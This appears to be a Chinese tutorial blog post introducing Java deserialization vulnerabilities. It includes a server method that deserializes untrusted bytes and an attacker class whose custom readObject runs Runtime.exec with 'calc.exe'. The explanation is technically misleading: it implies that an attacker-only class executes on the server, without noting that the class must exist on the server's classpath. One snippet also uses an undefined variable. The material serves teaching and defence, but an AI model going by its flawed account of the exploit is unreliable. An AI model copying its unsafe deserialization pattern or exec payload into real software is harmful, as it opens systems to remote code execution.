原理：

1. 信任反序列化数据： Java反序列化机制默认信任接收到的序列化数据，尝试将其恢复为对象。

2. 执行恶意代码：攻击者可以构造恶意的序列化数据，其中包含可触发远程代码执行的代码片段。

3. 远程代码执行：当受影响的应用程序对恶意序列化数据进行反序列化时，恶意代码将被执行，可能导致应用程序受到攻击者的控制。

利用操作：

假设有一个受影响的应用程序使用了一个接受用户输入的反序列化功能，并且未对输入数据进行适当的验证和过滤。攻击者可以构造一个恶意的序列化数据，其中包含恶意代码，然后将其发送给目标应用程序。当目标应用程序反序列化恶意数据时，恶意代码将被执行。

简单利用案例：

假设服务端有一个简单的类User，它包含一个未经验证的反序列化方法deserialize()：

import java.io.*;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;

    public void deserialize(byte[] data) { //反序列化方法
        try {
            ByteArrayInputStream bis = new ByteArrayInputStream(data);
            ObjectInput in = new ObjectInputStream(bis);
            Object obj = in.readObject();
            System.out.println("Deserialized object: " + obj);
            in.close();
            bis.close();
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

服务端反序列化代码：

服务端接收到攻击者发送的恶意序列化数据后，调用 User.deserialize() 方法进行反序列化操作。由于恶意数据中包含一个恶意对象 MaliciousObject，因此在反序列化过程中将触发执行恶意代码：

public class Server {
    public static void main(String[] args) {
        // 假设服务端接收到了攻击者发送的恶意序列化数据
        byte[] serializedData = receiveSerializedDataFromAttacker();

        // 调用 User 类的 deserialize 方法进行反序列化
        User user = new User();
        user.deserialize(serializedData);
    }

    // 模拟接收到攻击者发送的恶意序列化数据
    private static byte[] receiveSerializedDataFromAttacker() {
        // 这里省略从网络或其他方式接收数据的逻辑
        // 实际情况中，服务端可能从网络接收恶意数据
        // 这里直接返回攻击者构造的序列化数据
        return maliciousSerializedData;
    }
}

攻击者的代码：

攻击者构造一个恶意的User对象，并将其序列化为字节数组，其中包含恶意代码：

import java.io.*;
import java.lang.reflect.Constructor;

public class Attacker {
    public static void main(String[] args) throws Exception {
        // 构造恶意的序列化数据，其中包含一个恶意的对象
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);

        // 恶意对象执行的命令
        String command = "calc.exe";

        // 在序列化数据中写入恶意对象
        oos.writeObject(new MaliciousObject(command));

        // 获取序列化数据的字节数组
        byte[] serializedData = bos.toByteArray();

        // 将恶意序列化数据发送给服务端
        sendSerializedDataToServer(serializedData);
    }

    // 模拟将恶意序列化数据发送给服务端的操作
    private static void sendSerializedDataToServer(byte[] data) {
        // 这里省略发送数据给服务端的逻辑
        // 实际情况中，攻击者可能通过网络等方式将恶意数据发送给服务端
    }
}

// 恶意对象
class MaliciousObject implements Serializable {
    private static final long serialVersionUID = 1L;
    private String command;

    public MaliciousObject(String command) {
        this.command = command;
    }

    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        // 在反序列化时执行恶意代码
        Runtime.getRuntime().exec(command);
    }
}

在这个简单示例中，攻击者构造了一个恶意的序列化数据，并发送给服务端。服务端接收到数据后，进行反序列化操作，由于序列化数据中包含了恶意的 MaliciousObject 对象，因此在反序列化过程中将触发执行恶意代码，例如打开计算器应用程序。

为什么攻击者创建的类重定义了readObject()方法会导致服务端在反序列化时调用攻击者创建的类中的readObject()方法呢?

原因:

ByteArrayInputStream bis = new ByteArrayInputStream(data); 
ObjectInput in = new ObjectInputStream(bis); 
Object obj = in.readObject();

在反序列化过程中，ObjectInputStream 会首先读取对象的类信息（即对象的序列化描述符），然后根据类信息实例化对象，并将对象的字段值从输入流中读取出来。如果对象的类定义了 readObject() 方法，并且满足一定的条件（如私有、不被 transient 修饰），那么在对象反序列化的过程中，ObjectInputStream 会通过反射来调用这个方法。

在 Java 中，反射机制允许在运行时动态地检查类的信息并调用类的方法。即使某个方法是私有的，也可以使用反射来调用它。因此，即使 readObject() 方法是私有的，反序列化机制也可以通过反射来调用它。

反序列化机制允许调用 readObject() 方法，其实主要是为了支持自定义的反序列化过程。通过在类中定义 readObject() 方法，开发人员可以自定义对象在反序列化时的行为，例如进行额外的初始化、执行安全检查、处理特殊逻辑等。因此，Java 反序列化机制允许调用 readObject() 方法，以支持自定义的反序列化过程，同时也增加了攻击者利用的可能性。

初步认识Java反序列化漏洞

原理：

利用操作：

简单利用案例：

服务端反序列化代码：

攻击者的代码：

为什么攻击者创建的类重定义了readObject()方法会导致服务端在反序列化时调用攻击者创建的类中的readObject()方法呢?